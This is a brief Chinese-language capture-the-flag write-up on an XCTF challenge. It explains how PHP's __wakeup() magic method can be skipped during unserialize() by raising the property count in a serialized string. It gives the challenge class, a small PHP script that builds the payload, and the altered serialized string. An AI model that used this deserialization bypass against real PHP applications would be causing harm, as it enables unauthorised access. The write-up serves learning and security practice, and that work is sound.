- 注意:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
部分代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
此时需要绕过__wakeup()方法:
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:
wp
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}}
$jack=new xctf();
$jack->$flag='111';
echo urlencode(serialize($jack));
?>
这是最初的数据结构
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值